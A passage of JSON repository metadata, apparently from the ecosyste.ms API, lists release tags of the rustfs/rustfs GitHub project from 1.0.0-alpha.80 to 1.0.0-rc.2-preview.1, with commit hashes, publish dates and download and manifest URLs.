s/rustfs/releases/tag/1.0.0-rc.2-preview.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-rc.2-preview.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.2-preview.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.2-preview.1/manifests"},{"name":"1.0.0-rc.1","sha":"778f1dfa2155cbbc61ad54e6896de9e29d2c4d8d","kind":"tag","published_at":"2026-08-08T08:22:25.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-rc.1","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.1/manifests"},{"name":"1.0.0-rc.1-preview.1","sha":"778f1dfa2155cbbc61ad54e6896de9e29d2c4d8d","kind":"tag","published_at":"2026-08-08T07:04:42.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-rc.1-preview.1","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-rc.1-preview.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-rc.1-preview.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.1-preview.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.1-preview.1/manifests"},{"name":"1.0.0-beta.12","sha":"2e5cef513fb31e25940f1c77e208f28b302561bb","kind":"tag","published_at":"2026-07-30T02:48:18.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-beta.12","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-beta.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-beta.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.12/manifests"},{"name":"1.0.0-beta.12-preview.1","sha":"2e5cef513fb31e25940f1c77e208f28b302561bb","kind":"tag","published_at":"2026-07-30T01:32:22.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-beta.12-preview.1","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-beta.12-preview.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-beta.12-preview.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.12-preview.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.12-preview.1/manifests"},{"name":"1.0.0-beta.11","sha":"1c8088d0b2af0a1afc8df128014b2176037a0622","kind":"tag","published_at":"2026-07-23T02:48:44.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-beta.11","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-beta.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-beta.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.11/manifests"},{"name":"1.0.0-beta.11-preview.1","sha":"1c8088d0b2af0a1afc8df128014b2176037a0622","kind":"tag","published_at":"2026-07-23T01:11:29.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-beta.11-preview.1","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-beta.11-preview.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-beta.11-preview.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.11-preview.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.11-preview.1/manifests"},{"name":"1.0.0-beta.10","sha":"f67e8a6cdcb3e08dfa3c3c390412a9815837d0b2","kind":"tag","published_at":"2026-07-17T04:49:06.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-beta.10","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-beta.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-beta.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.10/manifests"},{"name":"1.0.0-beta.10-preview.5","sha":"f67e8a6cdcb3e08dfa3c3c390412a9815837d0b2","kind":"tag","published_at":"2026-07-17T03:06:09.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-beta.10-preview.5","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-beta.10-preview.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-beta.10-preview.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.10-preview.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.10-preview.5/manifests"},{"name":"1.0.0-beta.10-preview.4","sha":"381639fbbc824171b9a6d0260c9e1232461d19a1","kind":"tag","published_at":"2026-07-16T13:27:13.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-beta.10-preview.4","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-beta.10-preview.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-beta.10-preview.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.10-preview.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.10-preview.4/manifests"},{"name":"1.0.0-beta.10-preview.3","sha":"d5baaa67b8d0123ca53fd5130a0763e2088b2c8b","kind":"commit","published_at":"2026-07-16T09:39:56.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-beta.10-preview.3","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-beta.10-preview.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-beta.10-preview.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.10-preview.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.10-preview.3/manifests"},{"name":"1.0.0-beta.10-preview.2","sha":"d5baaa67b8d0123ca53fd5130a0763e2088b2c8b","kind":"commit","published_at":"2026-07-16T09:39:56.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-beta.10-preview.2","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-beta.10-preview.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-beta.10-preview.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.10-preview.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.10-preview.2/manifests"},{"name":"1.0.0-beta.10-preview.1","sha":"07e643cac2d8d61afb79e0a6ff3f7b435e762b99","kind":"commit","published_at":"2026-07-16T07:24:30.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-beta.10-preview.1","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-beta.10-preview.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-beta.10-preview.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.10-preview.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.10-preview.1/manifests"},{"name":"1.0.0-beta.9","sha":"a7827ed91bf14e823a4cc760ee08670b1c6c7291","kind":"commit","published_at":"2026-07-15T10:48:01.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-beta.9","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-beta.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-beta.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.9/manifests"},{"name":"1.0.0-beta.8","sha":"64c0ede0261eeb7ccd415221d6f102aa70829b6a","kind":"commit","published_at":"2026-06-10T07:58:22.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-beta.8","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-beta.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-beta.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.8/manifests"},{"name":"1.0.0-beta.7","sha":"68504577077eb61bf4d83dd234555885840008ad","kind":"commit","published_at":"2026-06-04T05:16:26.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-beta.7","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-beta.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-beta.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.7/manifests"},{"name":"1.0.0-beta.6","sha":"58ac19f7a4b0a2e04d66af8f26d46d8dbf8122fd","kind":"commit","published_at":"2026-05-29T11:59:08.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-beta.6","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-beta.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-beta.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.6/manifests"},{"name":"1.0.0-beta.5","sha":"658b8dea666f0fb9eee17b8450a18833b81f7a08","kind":"commit","published_at":"2026-05-26T18:49:42.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-beta.5","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-beta.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-beta.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.5/manifests"},{"name":"1.0.0-beta.4","sha":"dcbffb084f9a85b7362f2c146e16f749d2c81179","kind":"commit","published_at":"2026-05-20T15:03:07.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-beta.4","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-beta.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-beta.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.4/manifests"},{"name":"1.0.0-beta.3","sha":"11be278c4064384eabc146c09b18ed5eb2fb6e7f","kind":"commit","published_at":"2026-05-14T05:38:38.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-beta.3","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.3/manifests"},{"name":"1.0.0-beta.2","sha":"9f07029373af3c989bb26ac98a7df2c086b37c5c","kind":"commit","published_at":"2026-05-06T13:01:44.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-beta.2","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.2/manifests"},{"name":"1.0.0-beta.1","sha":"8e1bd560d896289be615a15e9ab79a7d51be85f6","kind":"tag","published_at":"2026-04-29T08:01:30.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-beta.1","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-beta.1/manifests"},{"name":"v1.0.0-beta.1","sha":"8e1bd560d896289be615a15e9ab79a7d51be85f6","kind":"commit","published_at":"2026-04-28T23:15:59.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/v1.0.0-beta.1","html_url":"https://github.com/rustfs/rustfs/releases/tag/v1.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@v1.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/v1.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/v1.0.0-beta.1/manifests"},{"name":"1.0.0-alpha.99","sha":"81854762d4dc0d9185fa5d3ee2a9b5882fcbb6e8","kind":"commit","published_at":"2026-04-25T08:01:01.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.99","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.99","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.99","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.99","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.99/manifests"},{"name":"1.0.0-alpha.98","sha":"fa1554be7ff3e5cd1bbd6f65c4ccc960739d6260","kind":"commit","published_at":"2026-04-22T12:16:09.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.98","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.98","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.98","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.98","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.98/manifests"},{"name":"1.0.0-alpha.97","sha":"d4dcb2ac9ddd334d7c3a4864c1c0cc3f00f04c65","kind":"commit","published_at":"2026-04-21T09:06:26.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.97","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.97","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.97","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.97","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.97/manifests"},{"name":"1.0.0-alpha.96","sha":"12f355a3bc35c1be93827dcc1a2099954676fe0f","kind":"commit","published_at":"2026-04-20T04:27:22.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.96","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.96","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.96","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.96","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.96/manifests"},{"name":"1.0.0-alpha.95","sha":"1d1f00470d2773783b45bbc98dd75b3650fc74de","kind":"commit","published_at":"2026-04-19T02:11:16.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.95","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.95","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.95","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.95","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.95/manifests"},{"name":"1.0.0-alpha.94","sha":"c0d3f53f7ad1b4267e6760d48845928b06ea1ea4","kind":"commit","published_at":"2026-04-16T00:40:46.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.94","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.94","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.94","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.94","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.94/manifests"},{"name":"1.0.0-alpha.93","sha":"b8c45fc9e3941b7f76b55fd1f7928209591a1341","kind":"commit","published_at":"2026-04-10T13:38:29.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.93","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.93","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.93","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.93","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.93/manifests"},{"name":"1.0.0-alpha.92","sha":"a8a2aaa46030deff66de60e2da50b1a67c64c585","kind":"commit","published_at":"2026-04-10T03:29:23.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.92","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.92","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.92","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.92","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.92/manifests"},{"name":"1.0.0-alpha.91","sha":"d72e7f6f288f88bac805409ceb2e247c1a9c8413","kind":"commit","published_at":"2026-04-07T15:24:23.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.91","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.91","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.91","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.91","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.91/manifests"},{"name":"1.0.0-alpha.90","sha":"75e6902f46dd3905206b44d238e9dc8542ebf159","kind":"commit","published_at":"2026-03-24T04:13:41.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.90","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.90","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.90","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.90","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.90/manifests"},{"name":"1.0.0-alpha.89","sha":"e1a278aaf859c7d00fca340994eb4d5918edb347","kind":"commit","published_at":"2026-03-19T05:52:59.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.89","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.89","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.89","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.89","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.89/manifests"},{"name":"1.0.0-alpha.88","sha":"df8f0edaea90babfe9a6a7b6f03651bf4bb99896","kind":"commit","published_at":"2026-03-18T16:20:24.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.88","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.88","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.88","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.88","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.88/manifests"},{"name":"1.0.0-alpha.87","sha":"f095f56e20e5c4dd996dd40efc5c9980eba55c34","kind":"commit","published_at":"2026-03-18T13:05:52.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.87","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.87","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.87","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.87","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.87/manifests"},{"name":"1.0.0-alpha.86","sha":"4fb7059e6f82f34e67c7d2a8975622b7181e1b33","kind":"commit","published_at":"2026-03-15T02:26:05.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.86","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.86","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.86","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.86","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.86/manifests"},{"name":"1.0.0-alpha.85","sha":"08e1f4670b293767d3bcd0a86103c89d18bc6ff9","kind":"commit","published_at":"2026-03-02T17:08:50.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.85","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.85","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.85","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.85","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.85/manifests"},{"name":"1.0.0-alpha.84","sha":"f0c5d762f3ba0b0a1d24fd856112e68ff3225145","kind":"commit","published_at":"2026-03-01T12:50:19.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.84","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.84","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.84","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.84","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.84/manifests"},{"name":"1.0.0-alpha.83","sha":"9824171995b58da071c18b5243299bc69e6ec4a7","kind":"commit","published_at":"2026-02-11T07:55:08.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.83","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.83","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.83","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.83","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.83/manifests"},{"name":"1.0.0-alpha.82","sha":"1aba8c10b9f81860bf452c079612fd2dc4cc5046","kind":"commit","published_at":"2026-01-30T11:08:39.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.82","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.82","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.82","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.82","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.82/manifests"},{"name":"1.0.0-alpha.81","sha":"db253c01a96645720304a252fc70ff432b094aa3","kind":"commit","published_at":"2026-01-22T09:24:56.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.81","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.81","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-alpha.81","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.81","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-alpha.81/manifests"},{"name":"1.0.0-alpha.80","sha":"ed4329d50caefacb67838840eb7f694c11d9f038","kind":"commit","published_at":"2026-01-16T02:07:48.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-alpha.80","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.80","dependencies_parsed_at":null,"dependenc